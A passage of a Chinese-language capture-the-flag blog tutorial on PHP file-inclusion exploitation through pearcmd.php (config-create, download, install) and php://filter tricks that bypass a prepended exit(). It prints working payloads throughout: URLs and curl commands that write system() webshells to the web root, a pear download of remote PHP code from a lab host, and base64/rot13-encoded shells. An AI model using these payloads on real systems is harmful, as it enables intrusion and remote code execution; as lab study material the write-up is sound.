style=\"color:#B07D48;--shiki-dark:#BD976A\">GLOBALS</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">HTTP_SERVER_VARS</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">argv</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SERVER</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">argv</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>这是pear中获取命令行argv的函数：先尝试<code>$argv</code>，如果不存在再尝试<code>$_SERVER['argv']</code>，后者我们可通过query-string控制。也就是说，我们通过Web访问了pear命令行的功能，且能够控制命令行的参数</p>\n<p>接下来我们深入pear命令的参数：</p>\n<h2 id=\"config-create\"><a class=\"anchor\" href=\"#config-create\">#</a> config-create</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>config-create: must have 2 parameters, root path and filename to save as</span></span></code></pre>\n<p>意思是config-create后面必须跟上两个参数，第一个参数是pearcmd.php文件的绝对路径，第二个参数是写入配置文件的路径，这样pear就可以将产生的配置数据写进第二个参数的路径下产生的文件中，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pear config-create /usr/local/lib/php/pearcmd.php /var/www/html/evil.php</span></span></code></pre>\n<p>这样就会将配置文件信息写入到<code>/var/www/html/evil.php</code>中，通过cat命令查看还有一个特别有意思的东西：这些配置信息数据传入到<code>/var/www/html/evil.php</code>中的内容是<strong>序列化数据</strong></p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/13.png\" class=\"\"></p>\n<p>这个先放一放，先回到文件包含上，我们对于这个的利用点是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>第一个参数的绝对路径可以不存在，因为pear的源码逻辑是把第一个参数当成一个普通的文本字符串保存在内存里，根本就没有有调用is_dir()或者file_exists()去硬盘上验证这个目录到底存不存在</span></span>\n<span class=\"line\"><span>这样我们就可以把一句话木马拼接到第一个参数的路径中</span></span></code></pre>\n<p>还记得之前做<code>$_SERVER['argv']</code>的实验吗，/?1+&amp;file=/flag既成功包含了/flag文件还储存在了全局变量中，那我们就可以构造如下payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?+config-create+/&#x26;file=/usr/share/php/pearcmd.php&#x26;/&#x3C;?=phpinfo()?>+/var/www/html/evil.php</span></span></code></pre>\n<p>这里的pearcmd.php的路径当然不唯一，也可能是<code>/usr/local/lib/php/pearcmd.php</code>，最后写入evil.php也不一定非得在<code>/var/www/html</code>（可能没有权限），也可以使用/tmp/evil.php</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/14.png\" class=\"\"></p>\n<p>这里不知道为什么在传payload的时候会把我的<code>&lt;&gt;</code>给编码了，可以使用curl：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl \"http://127.0.0.1/index.php?+config-create+/&#x26;file=/usr/share/php/pearcmd.php&#x26;/&#x3C;?=phpinfo()?>+/var/www/html/evil.php\" </span></span></code></pre>\n<p>最后再包含文件就行了</p>\n<p>接下来是RCE部分：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl \"http://127.0.0.1/index.php?+config-create+/&#x26;file=/usr/share/php/pearcmd.php&#x26;/&#x3C;?=system('ls')?>+/var/www/html/evil.php\" </span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>curl \"http://127.0.0.1/index.php?+config-create+/&#x26;file=/usr/share/php/pearcmd.php&#x26;/&#x3C;?=system('cat&#x3C;/flag')?>+/var/www/html/evil.php\" </span></span></code></pre>\n<p><strong>注：我尝试了%20，%0a，%09代替cat /flag中间的空格都不行，小于符号就可以</strong></p>\n<p>!<img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/15.png\" class=\"\"></p>\n<p>在写这篇文章的时候我就想：既然可能存在<code>&lt;&gt;</code>被编码的情况，那么我能不能直接把所有的php代码都给编码为base64字符串，然后利用php://filter进行解码呢，这个问题我研究了很久，我首先是直接在原有基础上将php代码替换为base64编码后的字符串，不过有一个很严重的问题我没考虑到就是<code>/&amp;file=</code>里的等于符号在base64中通常被认为是base64字符串的结尾，所以等号后面的字符串就不会被php://filter解码了，那么这种想法就是行不通的，接下来我们尝试其他方法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?file=/usr/share/php/pearcmd.php&#x26;+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php</span></span></code></pre>\n<p>我解释一下这串字符串为什么要这么写：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?+config-create+/&#x26;file=/usr/share/php/pearcmd.php&#x26;/&#x3C;?=system('ls')?>+/var/www/html/evil.php</span></span></code></pre>\n<p>这是我们一开始的paylaod，在<code>?</code>后面紧跟上了一个<code>+</code>，那么在放进<code>$_SERVER['argv']</code>的时候就会导致第一个键对的值为空，但是pear命令在获取<code>$_SERVER['argv']</code>的时候会丢掉该数组的第一个键对值，那么自然紧跟上的就是config-create</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?file=/usr/share/php/pearcmd.php&#x26;+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php</span></span></code></pre>\n<p>但是如果我们先进行文件包含，那么第一个键对值就变成了这个<code>file=******</code>，再根据pear会省略的特性，我们就可以用&amp;分离参数之后跟上<code>config_create</code>和其他两个参数<br />\n同时又由于我们的pearcmd.php文件已经被包含了，那么config-create后面跟上的第一个参数也就没必要是绝对路径了，直接加上base64编码的字符串，最后是储存路径</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/16.png\" class=\"\"></p>\n<p>也能成功看到flag（我的base64编码后的字符串解码后为<code>&lt;?php system('cat /flag'); ?&gt;\\</code>）这也是为了确保结尾没有出现加号或者等号</p>\n<p>不过这也给了一种新思路：如果遇到<strong>没有</strong>将<code>&lt;&gt;</code>编码的部分可以用这种payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?file=/usr/share/php/pearcmd.php&#x26;+config-create+/&#x3C;?=phpinfo()?>+/var/www/html/evil.php</span></span></code></pre>\n<p>那还解码啥了，直接包含得了</p>\n<h2 id=\"download\"><a class=\"anchor\" href=\"#download\">#</a> download</h2>\n<p>除了用config-create我们还可以使用download远程下载文件，测试环境为kali的Desktop下有一个phpinfo.php文件，内容为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">phpinfo</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>正常利用是</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pear download [文件地址]</span></span></code></pre>\n<p>那么我们可以将恶意的php文件放在靶机可以访问的地方，那么这里我们可以这样利用：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?file=/usr/share/php/pearcmd.php&#x26;+download+http://192.168.152.128:8000/Desktop/phpinfo.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/17.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/18.png\" class=\"\"></p>\n<p>可以看到成功下载到了<code>/var/www/html</code>路径下，不过也可能安装在<code>/tmp/pear/download</code>路径下</p>\n<p>然后只需要再文件包含一次就可以了</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/19.png\" class=\"\"></p>\n<p>更换了一下phpinfo.php的文件内容和名字：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cat /flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<h2 id=\"install\"><a class=\"anchor\" href=\"#install\">#</a> install</h2>\n<p>这个和download没有什么差别，可能唯一的差别就是这个东西会把文件保存到<code>/tmp/pear/download</code>路径下吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?file=/usr/share/php/pearcmd.php&#x26;+install+http://192.168.152.128:8000/Desktop/cmd.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/20.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/21.png\" class=\"\"></p>\n<h1 id=\"exit死亡绕过\"><a class=\"anchor\" href=\"#exit死亡绕过\">#</a> exit死亡绕过</h1>\n<p>文章参考：<a href=\"https://xiaolong22333.top/archives/114/\">https://xiaolong22333.top/archives/114/</a></p>\n<p>在学习exit死亡绕过之前先了解一下一个相关函数：<code>file_put_contents()</code></p>\n<p>这个函数可以传入两个参数，第一个参数写文件名或路径，第二个参数写要写入的数据</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/22.png\" class=\"\"></p>\n<p>如上图所示，执行exercise.php就可以在同级目录下生成shell.php文件，在exit死亡绕过中通常以以下三种形式出现：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>file_put_contents($filename,\"&#x3C;?php exit();\".$content);</span></span>\n<span class=\"line\"><span>file_put_contents($content,\"&#x3C;?php exit();\".$content);</span></span>\n<span class=\"line\"><span>file_put_contents($filename,$content . \"\\nxxxxxx\");</span></span></code></pre>\n<p>由于第二个参数前面的exit存在，导致我们写入的$content不会被执行php代码就结束了</p>\n<h2 id=\"file_put_contentsfilenamephp-exitcontent\"><a class=\"anchor\" href=\"#file_put_contentsfilenamephp-exitcontent\">#</a> file_put_contents(<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>f</mi><mi>i</mi><mi>l</mi><mi>e</mi><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mo separator=\"true\">,</mo><mi mathvariant=\"normal\">&quot;</mi><mo>&lt;</mo><mo stretchy=\"false\">?</mo><mi>p</mi><mi>h</mi><mi>p</mi><mi>e</mi><mi>x</mi><mi>i</mi><mi>t</mi><mo stretchy=\"false\">(</mo><mo stretchy=\"false\">)</mo><mo separator=\"true\">;</mo><mi mathvariant=\"normal\">&quot;</mi><mi mathvariant=\"normal\">.</mi></mrow><annotation encoding=\"application/x-tex\">filename,&quot;&lt;?php exit();&quot;.</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.8889em;vertical-align:-0.1944em;\"></span><span class=\"mord mathnormal\" style=\"margin-right:0.10764em;\">f</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\" style=\"margin-right:0.01968em;\">l</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">nam</span><span class=\"mord mathnormal\">e</span><span class=\"mpunct\">,</span><span class=\"mspace\" style=\"margin-right:0.1667em;\"></span><span class=\"mord\">&quot;</span><span class=\"mspace\" style=\"margin-right:0.2778em;\"></span><span class=\"mrel\">&lt;</span></span><span class=\"base\"><span class=\"strut\" style=\"height:1em;vertical-align:-0.25em;\"></span><span class=\"mclose\">?</span><span class=\"mord mathnormal\">p</span><span class=\"mord mathnormal\">h</span><span class=\"mord mathnormal\">p</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">x</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\">t</span><span class=\"mopen\">(</span><span class=\"mclose\">)</span><span class=\"mpunct\">;</span><span class=\"mspace\" style=\"margin-right:0.1667em;\"></span><span class=\"mord\">&quot;.</span></span></span></span>content);</h2>\n<h3 id=\"base64\"><a class=\"anchor\" href=\"#base64\">#</a> base64</h3>\n<p>复现这个漏洞用到的php代码为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">filename</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">filename</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_POST</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">content</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">file</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">file_put_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">filename</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;?php exit();</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">include</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>由于生成文件在同级目录下的缘故，我们可以直接生成木马文件后蚁剑连接，为了方便演示这里采用文件包含</p>\n<p>绕过exit的核心就是使用php://filter对后面的内容进行解码，举个例子：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">file_put_contents</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php://filter/write=convert.base64-decode/resource=shell.php</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">PD9waHAgc3lzdGVtKCdzb3J0IC9mbGFnJyk7</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/23.png\" class=\"\"></p>\n<p>利用这个姿势我们就可以绕过前面的<code>&lt;?php exit();</code>了，不过还得注意一下偏移量(offset)，由于base64是四个字节解码一个字符，所以解码到我们的恶意字符串时前面的字符个数必须是4的倍数，否则我们的base64编码字符串就不能正常被解码为php代码，同时，由于base64编码字符串中不存在<code>&lt;</code>，<code>&gt;</code>，<code>?</code>这些字符，所以在解码时会自动把他们删除，也就是说最后在解码时前面只剩下了<code>phpexit</code>总共七个字符，所以我们的恶意字符串前面还需要加上一个<code>a</code>参与前面七个字符的解码，给出最后的payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?filename=php://filter/write=convert.base64-decode/resource=evil.php&#x26;file=/var/www/html/evil.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>content=aPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=</span></span>\n<span class=\"line\"><span>//这是&#x3C;?php system('cat /flag');的base64编码字符串</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/24.png\" class=\"\"></p>\n<h3 id=\"rot13\"><a class=\"anchor\" href=\"#rot13\">#</a> rot13</h3>\n<p>除了base64编码之外我们还可以采用rot13编码，原理和base64一样：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?filename=php://filter/write=string.rot13/resource=evil.php&#x26;file=/var/www/html/evil.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>content=&#x3C;?cuc flfgrz('png /synt');</span></span>\n<span class=\"line\"><span>//这是&#x3C;?php system('cat /flag');的rot13编码字符串</span></span></code></pre>\n<p>不过使用这个payload有局限性，如果开启了短标签的话前面的内容就会被解析导致代码错误，比如：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/25.png\" class=\"\"></p>\n<p>不过查看evil.php文件的确是正常的：</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/26.png\" class=\"\"></p>\n<h3 id=\"过滤器嵌套绕过\"><a class=\"anchor\" href=\"#过滤器嵌套绕过\">#</a> 过滤器嵌套绕过</h3>\n<p>利用<code>string.strip_tags</code>可以过滤掉html标签和php标签里的内容，然后再进行base64解码，这样就不用考虑偏移量的问题了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?filename=php://filter/string.strip_tags|convert.base64-decode/resource=evil.php&#x26;file=/var/www/html/evil.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>content=?>PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=</span></span></code></pre>\n<p>需要注意的是<code>string.strip_tags</code>在php7.3.0以上的环境下会发生段错误，从而导致无法写入，php5则不受影响</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/27.png\" class=\"\"></p>\n<h3 id=\"file_put_contentscontentphp-exitcontent\"><a class=\"anchor\" href=\"#file_put_contentscontentphp-exitcontent\">#</a> file_put_contents(<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>c</mi><mi>o</mi><mi>n</mi><mi>t</mi><mi>e</mi><mi>n</mi><mi>t</mi><mo separator=\"true\">,</mo><mi mathvariant=\"normal\">&quot;</mi><mo>&lt;</mo><mo stretchy=\"false\">?</mo><mi>p</mi><mi>h</mi><mi>p</mi><mi>e</mi><mi>x</mi><mi>i</mi><mi>t</mi><mo stretchy=\"false\">(</mo><mo stretchy=\"false\">)</mo><mo separator=\"true\">;</mo><mi mathvariant=\"normal\">&quot;</mi><mi mathvariant=\"normal\">.</mi></mrow><annotation encoding=\"application/x-tex\">content,&quot;&lt;?php exit();&quot;.</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.8889em;vertical-align:-0.1944em;\"></span><span class=\"mord mathnormal\">co</span><span class=\"mord mathnormal\">n</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">n</span><span class=\"mord mathnormal\">t</span><span class=\"mpunct\">,</span><span class=\"mspace\" style=\"margin-right:0.1667em;\"></span><span class=\"mord\">&quot;</span><span class=\"mspace\" style=\"margin-right:0.2778em;\"></span><span class=\"mrel\">&lt;</span></span><span class=\"base\"><span class=\"strut\" style=\"height:1em;vertical-align:-0.25em;\"></span><span class=\"mclose\">?</span><span class=\"mord mathnormal\">p</span><span class=\"mord mathnormal\">h</span><span class=\"mord mathnormal\">p</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">x</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\">t</span><span class=\"mopen\">(</span><span class=\"mclose\">)</span><span class=\"mpunct\">;</span><span class=\"mspace\" style=\"margin-right:0.1667em;\"></span><span class=\"mord\">&quot;.</span></span></span></span>content);</h3>\n<p>这个利用的姿势是本博客SSRF一栏中的绕过手法最后一项，将木马内容塞到php://filter的过滤器中</p>\n<p>可以用rot13，不过破绽还是之前提到的：</p>\n<p><strong>如果开启了短标签的话前面的内容就会被解析导致代码错误</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" 